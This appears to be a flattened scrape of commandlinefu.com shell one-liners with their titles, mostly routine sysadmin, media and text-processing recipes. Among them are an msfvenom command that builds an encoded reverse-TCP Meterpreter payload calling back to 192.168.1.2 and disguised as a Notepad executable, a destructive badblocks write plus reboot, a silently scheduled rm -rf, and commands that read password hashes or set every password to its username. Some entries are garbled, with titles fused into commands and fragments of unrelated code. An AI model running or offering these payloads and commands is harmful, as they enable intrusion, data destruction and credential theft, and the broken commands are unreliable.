/var/log/security/writable.today # Transfer Entire recursive from one host to another. Only copies files that are newer or do not existrsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir # umount sshfs mounted directory fusermount -u ~/sshfs_mounted_directory # Title Case Files rename 's/(^|[\s\(\)\[\]_-])([a-z])/$1\u$2/g' * # Key binding to search commandlinefu.com function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\"" # Title Case Files rename 's/\b([a-z])/\u$1/g' * # Count lines using wc. wc -l file.txt # decompiler for jar files using jad unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; } # print all paragraphs containing string cat file1 file2|awk -v RS='paragraph delimiter' '{print $0"\n"}'|sed -e '/./{H;$!d;}' -e 'x;/string to search/!d;' # Play a stream and give back the shell wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestream.pls* # print all characters of any file in human readble form using hexdump hexdump -c # create SQL-statements from textfile with awk for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where id = \"$each\";"; done # Recursively remove all empty directories find . -type d | tac | xargs rmdir 2> /dev/null # download with checksum wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html # uncomment the lines where the word DEBUG is found sed 's/^#\(.*DEBUG\)/\1/' $FILE # print offsets of file disk for losetup/loop-mount /sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s/B:[[:digit:]]*B:/ --sizelimit=/; s/B:/ [/; s/:.*/]/' # search the pattern from bzip2'ed file bzgrep -i "pattern" pattern.bz2 # Convert man page to PDF man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps # Count repeated lines, listing them in descending order of frequency LC_ALL=C sort file | uniq -c | sort -n -k1 -r # Legacy MacOS to Unix text convert using perl perl -i -pe 's/\r/\n/g' file # ARP Scan if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; arping -c 1 10.1.1.$i | grep reply ; done ; fi # IP:PORT to IP:PORT:COUNTRY using geoiplookup for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoiplookup -f /usr/local/share/GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":" ip.txt out.txt>zoom.txt # Batch resize image to exact given resolution ignoring aspect ratio mogrify -resize 600x800! *.jpg # Schedule a script or command in x num hours, silently run in the background ev en if logged outecho "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at now + 3 hours 1>&2 &>/dev/null # Merge - Concate MP3 files sox *.mp3 -t wavpcm - | lame - > bunch.mp3 # Cd Deluxe - improved cd command for *nix and windows cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS] # Compile a latex doc to generate index ruby -e " 3.times { system 'pdflatex mydoc.tex' } " # Download full FLAC albums from archive.org wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album # Remount an already-mounted filesystem without unmounting it mount -o remount,ro /dev/foo / # Run last history entry based on a given command ![command] # Grep across a directory and open matching files in vim (one tab per file) vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n` # Convert windows text file to linux text document tr -d "\r" < dos.txt > linux.txt # encode HTML entities perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt # Puts every word from a file into a new line awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE # A DESTRUCTIVE command to render a drive unbootable badblocks -vfw /dev/fd0 10000 ; reboot # Partition a new disk as all one partition tagged as "LInux LVM" echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX # Change the default Catfish file manager and search method catfish --fileman=nautilus --path=/home/ --hidden --method=find # Using commandoutput as a file descriptor diff rpm_output_from_other_computer <(rpm -qa|sort) # Command to build one or more network segments - with while seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; } # remove at jobs atrm $(atq|cut -f1) # Get a count of how many file types a project has printf "\n%25s%10sTOTAL\n" 'FILE TYPE' ' '; for ext in $(find . -iname \*.* | egrep -o '\.[^[:space:].]+$' | egrep -v '\.svn*' | sort -f | uniq -i); do count=$(find . -iname \*$ext | wc -l); printf "%25s%10s%d\n" $ext ' ' $count; done # Random mrxvt background LIST="/some/pic/file /another/picture /one/more/pic"; PIC=$(echo $LIST | sed s/"\ "/"\n"/g | shuf | head -1 | sed s/'\/'/'\\\/'/g ); sed -i s/Mrxvt.Pixmap:.*/"Mrxvt.Pixmap:\t$PIC"/ ~/.mrxvtrc # mplayer all flash videos being streamed in Chromium mplayer $(ls -l /proc/$(pgrep -f flash)/fd/* |grep Flash | cut -d" " -f8) # Convert phone book VCARD to text tr -d "\r" < file.vcf | tr "\0" " " > file.vcf.txt # Creates a customized search command alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep --color=always -ni -C2' # Alias for displaying a process tree nicely alias pst='pstree -Alpha' # Command to build one or more network segments - with for seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done } # force change password for all user while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd # Viewing Top Processes according to cpu, mem, swap size, etc. command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q' # Greets the user appropriately echo -e "12 morning\n15 afternoon\n24 evening" |awk '{if ('`date +%H`'<$1) {print "Good "$2;exit}}' # Posts a file to sprunge.us and copies the related url to the clipboard sprunge () { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; } # Restore permissions or ownership from a backup directroy for x in `find /dir_w_wrong_ownership/`; do y=`echo "$x" | sed 's,/dir_w_wrong_ownership/,/backup_dir/,'`; chown --reference $y $x; done; # the executable that started the currently running oracle databases and the ORA CLE_HOME relative to eachps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut -f1,2,3 -d" " # Play files with mplayer, including files in sub-directories, and have keyboard shortcuts workmplayer -playlist <(find $PWD -type f) # Iterate through screens for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_ =~ /^(\d+)/; print $1;'`; do screen -x $pid; done # Find all relevant certificates (excluding some dirs) and list them each for crt in $(locate -r '.+\.crt' | grep -v "/usr/share/ca-certificates/"); do ls -la $crt; done # Downmix from stereo to mono and play radio stream with mplayer mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls # Print the list of all files checked out by Perforce SCM alias opened='p4 opened | awk -F# "{print \$1}"' # To print a specific line from a file awk 'FNR==5' # Get your external IP address wget -qO - http://www.sputnick-area.net/ip;echo # Create SSH key exchange from one host to the other cat ~/.ssh/id_rsa.pub | ssh "xargs --null echo >> ~/.ssh/authorized_keys" # Play back shell session recorded using the (IFS=; sed 's/^[]0;[^^G]*^G/^M/g' | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo) # Summarize total storage used by files obtained by a find command find /path/to/archive/?/??/??? -mtime -7 -name "*.pdf" | xargs stat -c "%s"| awk '{sum +=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label' # generate random password (works on Mac OS X) env LC_CTYPE=C tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 # Compress all .txt files to .txt.ta.gz and remove the original .txt for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done # grep for a list of values and list matching values NOT matching lines each tim e they matchgoo some things you search for < file # Display PHP files that directly instantiate a given class find . -name "*.php" -exec grep \-H "new filter_" {} \; # Revert back all files currently checked out by Perforce SCM for edit ropened='p4 opened | awk -F# "{print \$1}" | p4 -x - revert' # Generate Files with Random Content and Size in Bash no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done # List your Boxee queue curl -u http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/description | awk -F= '{print $2}' # diff recursively, ignoring CVS control files diff -x "*CVS*" -r [] # Show directory sizes, refreshing every 2s watch 'find -maxdepth 1 -mindepth 1 -type d |xargs du -csh' # intersection of two arrays Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six" "seven" );savedIFS="${IFS}";IFS=$'\n';Array3=($(comm -12 <(echo "${Array1[*]}" |sort -u) <(echo "${Array2[*]}" | sort -u)));IFS=$savedIFS # Simplest way to get size (in bytes) of a file wc -c # log your PC's motherboard and CPU temperature along with the current date date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log # Edit a file in vim (at the first error) if it is not well formed xml. vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \""$1"\" +"$2; exit}'); } # Show a config file without comments sed -e 's/#.*//;/^\s*$/d' # touch every file in current folder and subfolder find . -type f -exec touch "{}" \; # Get the version of sshd on a remote system ssh -vN hostname 2>&1 | grep "remote software version" # count and number lines of output, useful for counting number of matches ps aux | grep [h]ttpd | cat -n # Create unique email addresses directly from the US census site*Full command in commentspaste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f 1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g' # find the device when you only know the mount point df -P | awk '$6=="/media/KINGSTON" {print $1}' # map a command over a list of files - map-files /lib *.so ls -la function map-files() { find $1 -name $2 -exec ${@:3} {} \; } # use md5sum -c recursively through subdirectory tree when every directory has i ts own checksum filefor i in $(find . -name *md5checksum_file* | sed 's/\(\.\/.*\)md5checksum_file.txt/\1/'); do cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/checksum_results.txt | grep -v "" # Export/Backup a PostgreSQL database pg_dump -U postgres [nomeDB] > db.dump # run vmware virtual machine from the command line without the gui or X session vmrun start /path/to/virtual_machine.vmx nogui # Get Futurama quotations from slashdot.org servers curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p' # Show a config file without comments grep -v ^# /etc/somefile.conf | grep . # prips can be used to print all IP addresses of a specified range. prips # Capitalize first letter of each word in a string echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')" # Remove blank lines from a file grep -v "^$" file # Remove an old gmetric statistic gmetric -n $METRIC_NAME -v foo -t string -d 10 # get a list of running virtual machines from the command line (vmware) vmrun list # bash glob dot-files shopt -s dotglob # Linux zsh one-liner to Determine which processes are using the most swap space currentlyfor i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr # List only directories, one per line ls -l | grep ^d | sed 's:.*\ ::g' # number the line of a file cat -n file or cat -b file # Find unused IPs on a given subnet nmap -sP .* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ; for IP in {1..254} ; do echo ".${IP}" ; done >> results.txt ; cat results.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u # Skip banner on ssh login prompt ssh -q user@server # convert a string of hex characters into ascii chars echo $hex | perl -pe 's/(..)/chr(hex($1))/ge' # Print time and year of file in Solaris (or other Unix ls command that does not have a simple "--full-list")perl -e '@F = `ls -1`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]) . "\n";}' # List all broadcast addresses for the routes on your host. for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | grep Broadcast | cut -d\ -f 2; done # umount --rbind mount with submounts cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umount # List only directories, one per line find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n" # download all jpg in webpage wget http://www.site.com/ -O- | grep -o 'http://.*jpg' | sort -u | wget -i- # Check the last 15 package operations (on yum systems) tail -n 15 /var/log/yum.log | tac # Replace words with sed sed /BEGIN/,/END/s/xxx/yyy/g input.txt # Frequency Sweep l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done # skipping five lines, at top, then at bottom seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5 # Add another tty device using mknod command sudo mknod /dev/ttyS4 c 4 68 # Remove blank lines from a file using grep and save output to new file grep -v "^$" filename > newfilename # Convert Windows/DOS Text Files to Unix flip -u # AIX : reset aixuser password lastupdate to now using perl perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser -a \"lastupdate=$now\""' # Read AIX local user encripted password from /etc/security/passwd user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$3; } }" < /etc/security/passwd # lsof - cleaned up for just open listening ports, the process, and the owner of the processlsof -iTCP -sTCP:LISTEN # Extracting the audio part of a track as a wav file mplayer -vc null -vo null -ao pcm # change to the selected directory for zsh users alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"' # View the octal dump of a file od -vt x1 /tmp/spaghettifile # Report What Tape is in Autoloader Mailslot (using Barcode Label) mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63 # Print time and year of file in Solaris (or other Unix ls command that does not have a simpleperl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_."\n"}' # Search for classes in Java JAR files. find . -name "*.jar" | while read line; do echo "### $line "; unzip -l $line; done | grep "^###\|you-string" |less # number files in directory according to their modification time IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); ((i++)); done # check apache2 status with a lot of details apachectl fullstatus # Command to import Mysql database with a progress bar. pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME # Check remote hosts server curl -Is http://www.google.com | grep -E '^Server' # send files via ssh-xfer cat somefilehere.txt | ssh-xfer nametocallfile.txt - # Search gdb help pages gdb command: apropos # Check syntax of all PHP files before an SVN commit for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done # Overwrite local files from copies in a flat directory, even if they're in a di fferent directory structurefor f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done # DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 1) mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0 # cat a config file removing all comments and blank lines grep -vh '^[[:space:]]*\(#\|$\)' # Add a list of numbers echo $((1+2+3+4)) # Generat a Random MAC address 2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\+ //;s/ /:/g' # Get Stuff. curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext" # Serve one or more git repositories git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos # Show current folder permission recursively from /, useful for debugging ssh ke y permissionpushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null # Sometimes you just want a quick way to find out if a certain user account is l ocked [Linux].awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done # Remove comments and empty lines from a file grep -v '^#\|^$' /etc/hdparm.conf # delete all trailing whitespace from each line in file sed 's/[ \t]*$//' < > .out; mv .out # strip non-constant number of directories from tar archive while decompressing tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz # urldecoding ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x # kills all php5-fcgi processes for user per name pkill -9 -u username php5-fcgi # Grabs Open Files and Then Greps Them lsof | grep "stuff" # svn diff $* | colordiff | lv -c svn diff $* | colordiff | lv -c # Sometimes you just want a quick way to find out if a certain user account is l ocked [Linux].getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done # Averaging columns of numbers function avg { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; } # Show all Storage Repositories on XenServer xe sr-list # Create the directoty recursively mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p # Check if SSL session caching is enabled on Google gnutls-cli -V -r www.google.com |grep 'Session ID' # find . -name "*.txt" | xargs sed -i "s/old/new/" find . -name "*.txt" | xargs sed -i "s/old/new/" # Set the master volume to 90% (Ubuntu) aumix -v 90 # Sometimes you just want a quick way to find out if a certain user account is l ocked [Linux].getent shadow | grep '^[^:]\+:!' | cut -d: -f1 # Get IPv4 of eth0 for use with scripts /sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://' # delete all leading and trailing whitespace from each line in file sed 's/^[ \t]*//;s/[ \t]*$//' < > .out; mv .out # Make sure your script runs with a minimum Bash version if [ -z "${BASH_VERSINFO}" ] || [ -z "${BASH_VERSINFO[0]}" ] || [ ${BASH_VERSINFO[0]} -lt 4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi # Randomize lines (opposite of | sort) cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}' # List bash functions defined in .bash_profile or .bashrc set | fgrep " ()" # erase next word ALT + d # cat large file to clipboard cat large.xml | xclip # Make all GUI stuff show up on the display connected to the computer (when you' re logged in via SSH)DISPLAY=:0.0; export DISPLAY # Stop your screen saver interrupting your mplayer sessions maxplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove 4 -20'; sleep 2m; done& mplayer -fs "$1"; fg; } # Get sunrise time for any city, by name sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r '1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;} # Copy ssh keys to user@host to enable password-less ssh logins. ssh-keygen ptaduri@c3pusas1 # Create and encode a reverse tcp meterpreter payload with shikata_ga_nai. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe # Watch changeable interrupts continuously watch -n1 'cat /proc/interrupts # p is for pager p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; } # Set user passwords to username from partial password file awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd # View latest apache access log view `ls -1 access_log.* | tail -n 1` # Batch image resize for a in `ls`; do echo $a && convert $a -resize x $a; done # Find duplicate dir in path echo $PATH|tr : '\n'|sort|uniq -d # display embeded comments for every --opt, usefull for auto documenting your sc riptvim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0 # Extract every parted-files which had the same password find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \; # Discover unoptimized MySQL tables and optimize them. for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and Data_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | mysql; done; # Find out how to say the first 66 digits of pi as a word pi 66 | number # Puts every word from a file into a new line sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE # Change your e-mail address in multiple files sed -i 's/oldname@example.com/newname@example.com/g' `grep oldname@example.com -rl .` # Capture and re-use expensive multi-line output in shell OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep sysctl ; echo "$OUTPUT" | less # Show the parents of all block devices with udevadm(1) for i in $(find /dev/ -type b) ; do ( udevadm info -a -p $(udevadm info -q path -n $i) ) ; done # Dump an rpm's package details (besides the files) rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q --queryformat "$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done # Get details about all fibre cards with udevadm(1) for i in /sys/class/fc_host/* ; do ( udevadm info -a -p $i ) ; done # infile search and replace on N files perl -pi -e's/foo/bar/g' file1 file2 fileN # Fibonacci numbers with awk awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}' # StopWatch, OnScreen version, blinking shily on all desktops export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom' # Cleanly quit KDE4 apps kbuildsycoca4 && kquitapp plasma-desktop && kstart plasma-desktop # add a particular track to a playlist by looking for a part of its file name find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u # Get own IP address ifconfig|grep 'inet addr:'|grep 'Bcast'|awk '{print $2}'|awk -F : '{print $2}' # Remove CR from Windows- / DOS-textfiles dos2unix file.txt # Get Futurama quotations from slashdot.org servers curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p' # StopWatch, toilet version, amazing format inside terminal export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shadow' # Parse an RPM name into its components - fast parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%-*};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; } # IP list of aborted mail logins grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)}' | cut -d"," -f1 # Convert all FLV's in a directory to Ogg Theora (video) for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done # see who is on this machine w # Copy with progress copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';} # Reconstruct a malformed authorizated_keys for ssh cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0' | tr '%' '\n' | sed '1d' | sed "/^$/d" > authorized_keys # Get IPv4 of eth0 for use with scripts ifconfig eth0 | perl -ne "print if m/inet addr:((\d+\.){3})+/" | sed "s/inet addr//" | sed "s/Bcast//" |awk -F: '{print $2}' # list all files modified in the last 24 hours descending from current directory find . -type f -mtime -1 \! -type d -exec ls -l {} \; # Fast CLI Timer time read x # Number of seconds to certain unix date echo $( (( $( (2**31 -1) ) - $(date +%s) )) ) # Fibonacci numbers with sh prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done # Find all dot files and directories printf "%s\n" .* # Set X keymap to dvorak and fix the Ctrl key. setxkbmap dvorak '' ctrl:nocaps # Get IPv4 of eth0 for use with scripts ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\/.*?//g' # solaris: get seconds since epoch truss date 2>&1 | awk '/^time/{print $3}' # kill all process that belongs to you ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .tmpkill | wc -l) > 0 )); then echo "# KILL EM ALL"; cat .tmpkill; cat .tmpkill | awk '{print $4}' | xargs kill -9; else echo "# NOTHING TO KILL"; fi; cat .tmpkill; rm .tmpkill; # git-rm for all deleted files, including those with space/quote/unprintable cha racters in their filename/pathgit ls-files -z -d | xargs -0 git rm -- # 'readlink' equivalent using shell commands, and following all links myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; } # display lines in /etc/passwd between line starting ... < /etc/passwd sed -n "/^bin:/,/^lp:/p" # Add audio CD to xmms2 playlist xmms2 addpls cdda:// # Archive every file in /var/logs find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2 # Find all bash functions in a file functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' | less; } # Export mysql database to another database without having to save the output fi rstmysqldump -u -p -h databasename table1 table2 table_n | mysql -u -p -h databasename # Search recursively to find a word or phrase in certain file types, such as C c odeack "search pharse" *.[ch] # Check version of DNS Server nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET # Count files created by date/modification find . -type f -exec stat \{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " : " a[i] }}' | sort # deleter today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today) { print $9 } }'` # collapse first five fields of Google Adwords export .tsv file into a single fi eld, for gnumericawk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n";}' LS=`env printf '\u2028'` 'Ad report.tsv' # Hunt for the newest file. fn=$(find . -type f -printf "%T@\t%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn") "$fn" # Print all members of US House of Representatives curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;/|";RS=EOF} {print $2}' | sed '/^$/d' > file.html # Display any udp/tcp connections by process name or by process id lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u # flush stdin in bash read -t 0.1 -N 255 # Expand shortened URLs expandurl() { wget -S $1 2>&1 | grep ^Location; } # Display only hosts up in network nmap -sP your network/submask | awk "/^Host/"'{ print $2 }' # Working random fact generator lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D # Active Internet connections (only servers) netstat -lnptu # Delete residues configuration files dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P # Cleanly list available wireless networks (using iwlist) iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p' # analyze traffic remotely over ssh w/ wireshark ssh root@HOST tcpdump -iany -U -s0 -w - 'not port 22' | wireshark -k -i - # Zip all subdirectories into zipfiles for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done # List bash functions defined in .bash_profile or .bashrc declare -F | sed 's/^declare -f //' # View the newest xkcd comic. xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}' # Find in all files in the current directory, just a find shorthand grep -H -n "pattern" * # ls not pattern ls *[^.gz] # Remove all the files except abc in the directory rm *[!abc] # Remove acentuation from file names in a directory. for i in *; do mv -vi "$i" "`echo "$i"|sed y/????????????????????????/AAAAEEIOOUUCaaaaeeioouuc/`"; done; sync # mencoder convert video to xvid mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf harddup -ovc xvid -xvidencopts fixed_quant=3 # Enumerate rubygems environment gem env # Delete all lines after the first match sed -n -e '1,/match/p' # bbs in utf8 console luit -encoding gbk telnet bbs.sysu.edu.cn # Search OpenSolaris packages and show only the pkg names pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u # Length of longest line of code wc -L files # Add all unversioned files to svn svn stat | grep "^\?" | awk '{ print "svn add " $2 }' | bash # grep compressed log files without extracting zcat log.tar.gz | grep -a -i "string" # List encoding of ? in all avalible char sets for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp # extract all tgz in current dir ls *tgz | xargs -n1 tar xzf # Create a tar of modified/added files since revision 1792. svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}'| xargs -I {} tar rf incremental_release.tar {} # Gets the english pronunciation of a 